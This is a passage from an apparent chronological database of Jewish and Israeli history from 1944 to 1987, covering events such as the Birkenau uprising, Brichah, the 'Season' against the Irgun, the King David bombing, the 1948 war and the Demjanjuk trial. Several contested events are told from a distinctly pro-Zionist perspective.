to cover their activities. During that summer they sent a group to Cernauti Romania to explore escape routes. Yet it was only after Abba Kovner and his group from Vilna joined in January 1945 that the organization which was known as Brichah took shape. 5912 1944 HAGANAH (Eretz Israel) In reaction to world condemnation of Lord Moyne's assassination, the Haganah decided to actively help the British in tracking down the Irgun. In addition, on Ben Gurion's, orders, all members of the undergrounds and their supporters were thrown out of work and even schools. Two executives of the Jewish Agency, Rabbi Yehuda Fishman-Maimon and Yitzhak Greenboim objected, and Greenboim even resigned in protest. Ironically, Lehi supporters - who ordered the assassination - were not hunted. According to Lehi sources, Natan Yellin Mor (one of Lehi's leaders) had warned Golomb, that unlike the Irgun (who decided not to take revenge and risk a civil war), they would pay a heavy price if any of Lehi's supporters were touched. 5976 1944 AMERICAN B-17 FLYING FORTRESSES (Poland) Bombed a factory five miles east of Auschwitz. That same month (August 14) Assistant Secretary of War, John J. McCloy, wrote to the World Jewish Congress: "Such an operation could be executed only by the diversion of considerable air support...such an effort, even if practical might provoke even more vindictive action by the Germans." 5957 1944 BIRKENAU (AUSCHWITZ II) UPRISING David Szmulewski, one of the leaders of Birkenau's underground, and of the Jews of the Sonderkommados, who worked in the gas chambers and crematorias, blew up crematorium IV. Rosa Robota, one of the heroines of the Auschwitz underground, succeeded in smuggling explosives out of a munitions factory. Rosa was caught and tortured but refused to give away any of her comrades. Her last words scribbled on a piece of paper just before she was hanged were "Hazak V'Arnatz"--Be Strong and Brave." After killing several SS men, the group escaped, although few survived. 5967 1944 BUDAPEST JEWISH LEADERS (Hungary) Dr. Rudolf Kastzner and Joel Brand met with Dieter Wisliceny and proposed to ransom Hungarian Jews in what became known as Blut fuer Ware ("Blood for Goods"). Eichmann, with Himmler's approval, allowed Brand to go to Istanbul in order to broker the deal with the Allies. It is theorized that Himmler was trying to prepare for the inevitable Allied victory by "showing" that he was really in favor of Jewish emigration rather than annihilation. 5916 1944 CROATIA The German consul in Zagreb, Siegfried Kasche, reported to the German government that "Croatia is one of the countries in which the Jewish problem has been solved." 5931 1944 DRANCY CONCENTRATION/TRANSIT CAMP (France) Was liberated. From August 21, 1941 until it was liberated over 61,000 Jews were deported from Drancy "to the East." Many Jews died in Drancy and its satellite camps (Noe, Gurs, and Recebedou). 1500 inmates were still in the camp when it was liberated. 5955 1944 HENRY MORGENTHAU (USA) After an emotional meeting with three old Rabbis, Morgenthau pressured Secretary of State Cordell Hull to help Jews in Vitel, France who possessed Latin American passports and were in danger of deportation to Poland. George Tait, the first secretary in Bern, strongly objected. The State Department succeeded in stalling for 7 weeks by which time the 214 Jews held in Vitel were deported. 5932 1944 HIMMLER Offered Rudolf Kasztner to keep 30,000 physically fit Hungarian Jews "on ice" in an Austrian labor camp at a price of $200 per head plus maintenance. The committee could only find around 10,000 dollars. Eichmann took the money and sent them to Auschwitz. 5935 1944 HUNGARY With the Soviet Red Army just 100 miles away from Budapest, Horthy began considering signing an armistice with the Allies. The Nazis acted swiftly sending in German Commando Otto Skorzeny, who kidnapped Horthy's son, Nicholas, forcing Horthy to abdicate. A pro-German government was installed with Ferenc Szalasi, the leader of the Arrow Cross party, heading the government. Eichmann returned immediately and continued with the transports. In reaction to Szalasi's policies, Raoul Wallenberg the Swedish diplomat, set up thirty "Swedish houses" with a Swedish flag outside each door, declaring these homes Swedish territory. Almost 15,000 people found refuge in these shelters. Szalasi was later hanged by the Russians. 5968 1944 LATRUN INTERMENT CAMP (Eretz Israel) The British surrounded the camp and deported 251 members of the Irgun and Lehi to Eritrea in Eastern Africa. Until the end of the British mandate, 439 people suspected of being associated with the Irgun and Lehi were deported. 5969 1944 ROSWELL McCLELLAND (Switzerland) Was assigned to run the War Refugee Board in Switzerland. McClelland had lived in occupied France working for the American Friends Service Committee and had vast experience dealing with these issues. With the financial backing of the Joint, he succeeded in producing thousands of false identity cards, work permits and birth certificates, as well as shipping emergency aid to those who hid Jews in their homes or in convents. 5914 1944 THE HUNTING SEASON (Eretz-Israel) Also known as "the season" in which the Jewish Agency and Haganah leadership began a campaign directed at ending Irgun activities. Eliyahu Golomb demanded that the Irgun take its directives only from the Haganah. Begin replied that while he respected Ben Gurion as the leader of the Yishuv, he rejected both the policy of havlagah (restraint), and the hands-off policy regarding the British. He predicted that the Haganah would eventually come around to the Irgun's way of thinking. The Haganah gave the British direct information, as well as assisting in arresting over 700 Irgun activists, including financial supporters. Several hundred of them were deported to Eritrea, Africa. Although at this stage the decision was made to dismember the Irgun without overt cooperation with the British, this changed dramatically after the assassination of Lord Moyne by the Lehi in November, 1944. 5970 1945 BRICHAH (Lublin,Poland) Organization was founded by Abba Kovner and Yitzchak Zuckerman joining the Lidovsky brothers and their group from Rovno. What had begun as an ideological discussion six months earlier had become a movement to get Jews out of Europe and into Eretz Israel. Mordechai Roseman was asked to direct the organization, which began sending small groups to Romania. It later merged into Mosad leAliyah Bet (or "Mosad", center for "illegal" immigration) in Palestine, whose head, Shaul Avigur, moved his office to Paris in 1946. Between 1944-1948, Brichah moved over 200,000 people to southern ports and eventually to Eretz Israel, mostly against the will of the occupying governments. 5987 1945 HAGANAH POLICY TOWARDS THE IRGUN (Eretz Israel) Ha'aretz newspaper reported that Yaakov Tavin, head of the Irgun's intelligence service, had been arrested and held for six months in Kibbutz Ein Harod. During that time he was interrogated and even tortured. This and other incidents led to the condemnation of the Haganah policies by the Chief Rabbinate and civil organizations. The protests, together with the disillusion of the Zionist leadership with British promises, led to the eventual collapse of "the Season". According to both sides, the Season did not succeed in dismantling of the Irgun. 5989 1945 ATLIT (Eretz-Israel) In a daring raid, the Palmach freed 208 "illegal" immigrants from the internment camp set up by the British. 6010 1945 GENERAL GEORGE S. PATTON Taking General Eisenhower on a visit to DP camps, he called Jewish inmates "the greatest stinking bunch of humanity" and stating that they have "no sense of human relationships". Patton had also referred to the Jewish DP's as "lower than animals". When attacked for his anti-Semitic remarks, Patton called it a "plot by Jews and Communists" to replace him. 6287 1945 GENERAL MARK CLARK (Austria) After receiving a report from James Rice, a representative of the JDC, (and fearful that this report may reach the press), he publicly reprimanded General Rinehart and his chief of staff Colonel Epes of the 26th division for their treatment of Jewish DP's and the appalling conditions of the camps under their control. The area of General Harry Collins and the 42nd "Rainbow Division" had no such problems. 6009 1945 HARRISON MISSION (USA) Earl Harrison, the Dean of Law at the University of Pennsylvania and a former U.S. commissioner on immigration, had been sent as a personal envoy of President Harry S. Truman to inquire into the conditions of the Displace Persons (DP's), especially the Jews, and issued his report. "Jews are kept behind barbed wire…in camps, including concentration camps…with no opportunity…to communicate to the outside world. We appear to be treating the Jews as the Nazi's…except that we don't exterminate them." He concluded that "the U.S. should convince the British to open Palestine to refugees." 6003 1946 BLACK SABBATH (Eretz-Israel) In the largest operation against the Yishuv to date, a countrywide curfew was proclaimed, and 17,000 soldiers searched kibbutzim and institutions looking for weapons, documents, and individuals. The Jewish Agency, as well as homes of the Yishuv leaders, were ransacked, and truckloads of secret documents were taken away to the British military headquarters at the King David Hotel. Hundreds of the Yishuv's leaders were arrested. Only one "slick" (a hiding place for weapons) was found, at Kibbutz Yagur. In all, around 2,700 people were arrested, including Moshe Shertok (Sharett) and Bernard Joseph (Dov Yosef) of the Political Department of the Jewish Agency, and David Remez, chairman of the Vaad Le'umi. Most were taken to the Rafiah internment camp. 6031 1946 ERNST KALTENBRUNNER (1903-1946) (Germany) The S.S. leader and successor of Heydrich as chief of the RSHA, was hanged after a trial at Nuremberg. Kaltenbrunner, a friend of Eichmann, was a key figure in the implementation of the "Final Solution". As the end of the war approached, he insisted on continuing the annihilation of the Jews until the last possible moment. 5603 1946 KING DAVID BOMBING (Jerusalem, Eretz Israel) After the Black Sabbath, Moshe Sneh on July 1 ordered the Irgun to destroy the King David Hotel and the military headquarters located there. Four warnings were made: to the kitchen staff, the hotel, the Palestine Post, and the French consulate. According to witnesses, one high British official shouted "we are not here to take orders from the Jews, we give them orders." He then left, and ordered guards to prevent others from leaving. Twenty-five minutes later the bombs went off, killing 91 people. The British government originally denied that they had been warned, but they were forced to retract it and no inquiry was made as to why the order was given not to leave the building. Despite the orders by Sneh, the Jewish Agency fearful of world opinion, condemned the act. This marked the end of the united resistance movement. 6035 1946 OFFENBACH ARCHIVAL DEPOT (OAD) (Germany) Was established by the American military. Its goal was to house and protect the collection of Judaica taken from various Nazi depots. Within less then a month, they processed over 1.8 million items which were contained in 2,351 crates. By August 1947, 2,000,000 books and "identifiable materials" were returned and distributed to the survivors. 6024 1946 PRESIDENT TRUMAN (USA) Confirmed in a letter to King Ibn Saud that he supported the establishment of a Jewish "National home". 6069 1946 ZIONIST CONGRESS (Basel, Switzerland) The first Congress since the Holocaust. The Congress accepted the plan of the Zionist Organization "to establish a Jewish commonwealth integrated into the world democratic structure." A British proposal for a Jewish-Arab conference in London was rejected, and as a result Weizmann resigned. It was also reported that between July 1945 and December 1946, about 111,500 Jews succeeded in fleeing Poland, most of them organized by the Brichah organization. 6071 1947 KOL YERUSHALAYIM (Jerusalem, Eretz Israel) Broadcasted a Mandatory government announcement that due to the disturbances, it was evacuating all non-essential personnel, including women and children. In addition, the British army began to build "security zones" which became know as "Bevingrads", British army enclaves (named for Foreign Secretary Ernest Bevin), in the three major cities. 6230 1947 BENJAMIN ("Bugsy") SIEGEL (1905-1947) (USA) U.S. racketeer and criminal, was murdered. Siegel was a "student" of Louis ("Lepke") Buchhalter from whom he learned the basics of Mob affairs. Bugsy moved to Los Angeles, where he became involved with actors, gambling, sports, and narcotics. He then spread out to Las Vegas, believing that it was the future for rich profits in gambling and loan sharking as well as prostitution and drugs. Siegel was probably killed by a member of Al Capone's gang over gambling rights. 6080 1948 ALTELENA The Etzel ship reached the coast of Tel Aviv carrying 800 new immigrants and weapons. The Etzel claimed they had an agreement that 20% of the arms on board would be used by its members in defending Jerusalem. Ben Gurion refused to accept what he considered an ultimatum and ordered the ship to be fired upon. The incident almost caused a civil war and was only averted by an impassioned and at times incoherent speech made by Menachem Begin to his followers over the radio that night not to take up arms against fellow Jews. 5724 1948 HADASSAH CONVOY TERROR ATTACK (Eretz Israel) Arabs murdered seventy-seven people, mostly doctors and nurses on their way to Hadassah Hospital on Mount Scopus in Jerusalem. British troops stationed close by refused to "interfere". 6122 1948 HAIFA CAPTURED (Eretz Israel) By the Haganah. Although loudspeakers called on the Arabs to stay, they fled in mass, urged to do so by leaders of the Arab High Command. Many of these leaders believed that the upcoming war would be helped by masses of Arab refugees whose presence would encourage them to join in the attack. The refugees were promised that they would only be away for a short time and would be able to return when the attacking armies "drive the Jews into the sea". They were also promised compensation for their property. 6123 1948 SAFED (Eretz Israel) E After a difficult battle with house to house fighting, and the use of the Davidka, the Palmach succeeded in taking the city and the Metzudah ("fortress"). The Arab population fled. This enabled the Jewish Forces to take control of a continuous area in eastern and Upper Galilee. 6126 1955 BAR ILAN UNIVERSITY Named for Meir Bar-Ilan (Berlin), became the first religious university founded in Israel. Bar-Ilan is based on the credo of Torah im Derekh Erez ("Torah with general knowledge") and strives to serve as a bridge between the observant and non observant in Israel. 5741 1967 EGYPT CLOSES THE STRAITS OF TIRAN Blocking all Israeli shipping from the south, thereby raising tension in the Middle East. This was against international agreements. In Israel, a broad based coalition was formed under Levi Eshkol with Menachem Begin, Yoseph Sapir and Moshe Dayan, who became the Minister of Defense. 5713 1967 YOM YERUSHALAYIM (Jerusalem Unification day). Prior to the 6-Day War, Israel had sent repeated requests to King Hussein of Jordan appealing to him to remain outside the conflict (trying, therefore, to prevent a three-front war). Due to Arab League pressure, Jordan began to shell Jerusalem on June 5. When the Jordanian force crossed the cease-fire line at Government House, Israel retaliated. General Uzi Narkis brought in Colonel Motta Gur to lead the attack in Eastern Jerusalem. On June 7, 1967 at 10:15, with the radio confirmation, "The Temple Mount is in our hands," the Israeli flag was raised above the Western wall. 5717 1987 DEMJANJUK TRIAL, JERUSALEM Ivan Demjanjuk, a former Ukrainian SS volunteer, was accused of overseeing the gas chambers in Treblinka. His cruelty had earned him the name "Ivan the Terrible". Demjanjuk was extradited to Israel in 1986, was found guilty and condemned to death. The verdict was appealed to the Israeli Supreme Court. After 3 years of deliberation they ruled that there wasn't sufficient proof that Demjanjuk and Ivan the Terrible were one and the same person. This was mainly due to the lack of first person witnesses and the length of time that had elapsed which made definite identification impossible. In September 1993 he was released and returned to the United States. 5678
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